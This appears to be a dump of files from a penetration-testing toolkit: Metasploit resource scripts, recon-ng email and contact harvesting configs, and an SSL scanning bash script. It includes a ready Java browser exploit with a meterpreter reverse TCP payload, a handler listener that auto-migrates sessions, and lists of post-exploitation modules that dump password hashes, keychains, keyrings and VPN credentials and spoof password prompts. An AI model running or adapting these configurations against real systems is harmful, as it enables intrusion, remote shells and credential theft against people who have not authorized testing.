auxiliary/scanner/printer/printer_list_dir 21 | run 22 | 23 | use auxiliary/scanner/printer/printer_list_volumes 24 | run 25 | 26 | use auxiliary/scanner/printer/printer_ready_message 27 | run 28 | -------------------------------------------------------------------------------- /resource/998-zenworks.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 998 4 | 5 | use auxiliary/scanner/misc/zenworks_preboot_fileaccess 6 | run 7 | -------------------------------------------------------------------------------- /resource/9999-telnet.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9999 4 | 5 | use auxiliary/scanner/telnet/lantronix_telnet_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/http.rc: -------------------------------------------------------------------------------- 1 | setg DOMAIN 2 | setg HTTPBL_APIKEY 3 | setg PATH_SAVE /root 4 | setg RANGE 5 | setg RHOST 6 | setg RHOSTS 7 | setg SQLMAP_PATH /pentest/database/sqlmap 8 | setg THREADS 255 9 | setg VULNCSV 10 | 11 | ipidseq # from ip 12 | 13 | lotus_domino_hashes # from lotus 14 | lotus_domino_login # from lotus 15 | lotus_domino_version # from lotus 16 | -------------------------------------------------------------------------------- /resource/java.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/browser/java_jre17_jmxbean 2 | set SRVPORT 443 3 | set URIPATH / 4 | set PAYLOAD java/meterpreter/reverse_tcp 5 | set LHOST 6 | set LPORT 443 7 | set AutoLoadStdapi false 8 | set AutoVerifySession false 9 | set AutoRunScript post/windows/manage/migrate 10 | exploit 11 | -------------------------------------------------------------------------------- /resource/listener.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set PAYLOAD aaa 3 | set LHOST bbb 4 | set LPORT ccc 5 | set ExitOnSession false 6 | set AutoVerifySession false 7 | set AutoSystemInfo false 8 | set AutoLoadStdapi false 9 | set AutoRunScript post/windows/manage/migrate 10 | exploit -j 11 | -------------------------------------------------------------------------------- /resource/post-linux.rc: -------------------------------------------------------------------------------- 1 | run post/linux/gather/checkcontainer 2 | run post/linux/gather/checkvm 3 | run post/linux/gather/ecryptfs_creds 4 | run post/linux/gather/enum_commands 5 | run post/linux/gather/enum_configs 6 | run post/linux/gather/enum_network 7 | run post/linux/gather/enum_protections 8 | run post/linux/gather/enum_psk 9 | run post/linux/gather/enum_system 10 | run post/linux/gather/enum_users_history 11 | run post/linux/gather/enum_xchat 12 | run post/linux/gather/gnome_commander_creds 13 | run post/linux/gather/gnome_keyring_dump 14 | run post/linux/gather/hashdump 15 | run post/linux/gather/mount_cifs_creds 16 | run post/linux/gather/openvpn_credentials 17 | run post/linux/gather/phpmyadmin_credsteal 18 | run post/linux/gather/pptpd_chap_secrets 19 | run post/linux/gather/tor_hiddenservices 20 | -------------------------------------------------------------------------------- /resource/post-osx.rc: -------------------------------------------------------------------------------- 1 | run post/osx/gather/apfs_encrypted_volume_passwd 2 | run post/osx/gather/autologin_password 3 | run post/osx/gather/enum_adium 4 | run post/osx/gather/enum_airport 5 | run post/osx/gather/enum_chicken_vnc_profile 6 | run post/osx/gather/enum_colloquy 7 | run post/osx/gather/enum_keychain 8 | run post/osx/gather/enum_messages 9 | run post/osx/gather/enum_osx 10 | run post/osx/gather/hashdump 11 | run post/osx/gather/password_prompt_spoof 12 | run post/osx/gather/safari_lastsession 13 | run post/osx/gather/vnc_password_osx 14 | -------------------------------------------------------------------------------- /resource/recon-ng-import-emails.rc: -------------------------------------------------------------------------------- 1 | modules load import/list 2 | options set FILENAME /tmp/tmp-emails 3 | options set TABLE contacts 4 | options set COLUMN email 5 | run 6 | -------------------------------------------------------------------------------- /resource/recon-ng-import-ips.rc: -------------------------------------------------------------------------------- 1 | modules load import/list 2 | options set FILENAME /tmp/tmp-ips 3 | options set TABLE hosts 4 | options set COLUMN ip_address 5 | run 6 | -------------------------------------------------------------------------------- /resource/recon-ng-import-names.rc: -------------------------------------------------------------------------------- 1 | modules load import/csv_file 2 | options set FILENAME /tmp/names.csv 3 | options set TABLE contacts 4 | options set COLUMN_SEPARATOR # 5 | options set CSV_FIRST_NAME first_name 6 | options set CSV_LAST_NAME last_name 7 | options set CSV_TITLE title 8 | run 9 | -------------------------------------------------------------------------------- /resource/recon-ng.rc: -------------------------------------------------------------------------------- 1 | modules load recon/companies-contacts/pen 2 | run 3 | modules load recon/domains-contacts/pen 4 | run 5 | modules load recon/domains-contacts/pgp_search 6 | run 7 | modules load recon/hosts-hosts/resolve 8 | run 9 | -------------------------------------------------------------------------------- /ssl.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # by Lee Baird (@discoverscripts) 4 | 5 | clear 6 | f_banner 7 | 8 | echo -e "${BLUE}Check for SSL certificate issues.${NC}" 9 | echo 10 | echo "List of IP:port." 11 | echo 12 | 13 | f_location 14 | 15 | echo 16 | echo "$MEDIUM" 17 | echo 18 | 19 | echo "Running sslyze." 20 | sslyze --targets_in="$LOCATION" --resum --reneg --heartbleed --certinfo --sslv2 --sslv3 --openssl_ccs > tmp 21 | # Remove the first 20 lines and cleanup 22 | sed '1,20d' tmp | grep -Eiv '(=>|error:|error|is trusted|not supported|ok - supported|opensslerror|server rejected|timeout|unexpected error)' | 23 | # Find FOO, if the next line is blank, delete both lines 24 | awk '/Compression/ { Compression = 1; next } Compression == 1 && /^$/ { Compression = 0; next } { Compression = 0 } { print }' | 25 | awk '/Renegotiation/ { Renegotiation = 1; next } Renegotiation == 1 && /^$/ { Renegotiation = 0; next } { Renegotiation = 0 } { print }' | 26 | awk '/Resumption/ { Resumption = 1; next } Resumption == 1 && /^$/ { Resumption = 0; next } { Resumption = 0 } { print }' | 27 | awk '/SSLV2/ { SSLV2 = 1; next } SSLV2 == 1 && /^$/ { SSLV2 = 0; next } { SSLV2 = 0 } { print }' | 28 | awk '/SSLV3/ { SSLV3 = 1; next } SSLV3 == 1 && /^$/ { SSLV3 = 0; next } { SSLV3 = 0 } { print }' | 29 | awk '/Stapling/ { Stapling = 1; next } Stapling == 1 && /^$/ { Stapling = 0; next } { Stapling = 0 } { print }' | 30 | awk '/Unhandled/ { Unhandled = 1; next } Unhandled == 1 && /^$/ { Unhandled = 0; next } { Unhandled = 0 } { print }' | 31 | # Find a dash (-), if the next line is blank, delete it 32 | awk -v n=-2 'NR==n+1 && !NF{next} /-/ {n=NR}1' | 33 | # Remove double spacing 34 | cat -s > "$HOME"/data/sslyze.txt 35 | 36 | ############################################################################################################################### 37 | 38 | echo "Running sslscan." 39 | echo 40 | 41 | START=$(date +%r\ %Z) 42 | 43 | echo "$MEDIUM" >> tmp 44 | echo >> tmp 45 | 46 | NUMBER=$(wc -l "$LOCATION" | cut -d ' ' -f1) 47 | N=0 48 | 49 | while read -r LINE; do 50 | N=$((N+1)) 51 | echo "$LINE" > ssl_"$LINE" 52 | echo -n "[$N/$NUMBER] $LINE" 53 | sslscan --ipv4 --ssl2 --ssl3 --tlsall --no-colour --connect-timeout=30 "$LINE" > tmp_"$LINE" 54 | echo 55 | echo >> ssl_"$LINE" 56 | 57 | if [ -f tmp_"$LINE" ]; then 58 | ERROR=$(grep 'ERROR:' tmp_"$LINE") 59 | 60 | if [ ! "$ERROR" ]; then 61 | cat tmp_"$LINE" >> ssl_"$LINE" 62 | echo "$MEDIUM" >> ssl_"$LINE" 63 | echo >> ssl_"$LINE" 64 | cat ssl_"$LINE" >> tmp 65 | else 66 | echo -e "${RED}Could not open a connection.${NC}" 67 | echo "[*] Could not open a connection." >> ssl_"$LINE" 68 | echo >> ssl_"$LINE" 69 | echo "$MEDIUM" >> ssl_"$LINE" 70 | echo >> ssl_"$LINE" 71 | cat ssl_"$LINE" >> tmp 72 | fi 73 | else 74 | echo -e "${RED}No response.${NC}" 75 | echo "[*] No response." >> ssl_"$LINE" 76 | echo >> ssl_"$LINE" 77 | echo "$MEDIUM" >> ssl_"$LINE" 78 | echo >> ssl_"$LINE" 79 | cat ssl_"$LINE" >> tmp 80 | fi 81 | done < "$LOCATION" 82 | 83 | END=$(date +%r\ %Z) 84 | 85 | echo "sslscan Report" > tmp2 86 | date +%A" - "%B" "%d", "%Y >> tmp2 87 | echo >> tmp2 88 | echo "Start time $START" >> tmp2 89 | echo "Finish time $END" >> tmp2 90 | echo "Scanner IP $MYIP" >> tmp2 91 | 92 | mv tmp2 "$HOME"/data/sslscan.txt 93 | 94 | grep -v 'info not available.' tmp >> "$HOME"/data/sslscan.txt 95 | rm tmp* ssl_* 2>/dev/null 96 | 97 | ############################################################################################################################### 98 | 99 | echo 100 | echo "Running nmap." 101 | echo 102 | 103 | NUMBER=$(wc -l "$LOCATION" | cut -d ' ' -f1) 104 | N=0 105 | 106 | while read -r LINE; do 107 | N=$((N+1)) 108 | PORT=$(echo "$LINE" | cut -d ':' -f2) 109 | TARGET=$(echo "$LINE" | cut -d ':' -f1) 110 | 111 | echo -n "[$N/$NUMBER] $LINE" 112 | # shellcheck disable=SC2024 113 | sudo nmap -Pn -n -T4 --open -p "$PORT" -sV --script=rsa-vuln-roca,ssl*,tls-alpn,tls-ticketbleed --script-timeout 20s "$TARGET" > tmp 114 | echo 115 | 116 | grep -Eiv '(does not|incorrect results|service unrecognized)' tmp | grep -v '^SF' | 117 | # Find FOO, if the next line is blank, delete both lines 118 | awk '/latency/ { latency = 1; next } latency == 1 && /^$/ { latency = 0; next } { latency = 0 } { print }' | 119 | sed 's/Nmap scan report for //g; s/( https:\/\/nmap.org ) //g' >> tmp2 120 | echo "$MEDIUM" >> tmp2 121 | echo >> tmp2 122 | done < "$LOCATION" 123 | 124 | mv tmp2 "$HOME"/data/nmap-ssl.txt 125 | rm tmp 126 | 127 | echo 128 | echo "$MEDIUM" 129 | echo 130 | echo "[*] Scan complete." 131 | echo 132 | echo 133 | echo -e "The new reports are located at ${YELLOW}$HOME/data/sslscan.txt ${NC}and ${YELLOW}nmap-ssl.txt ${NC}" 134 | --------------------------------------------------------------------------------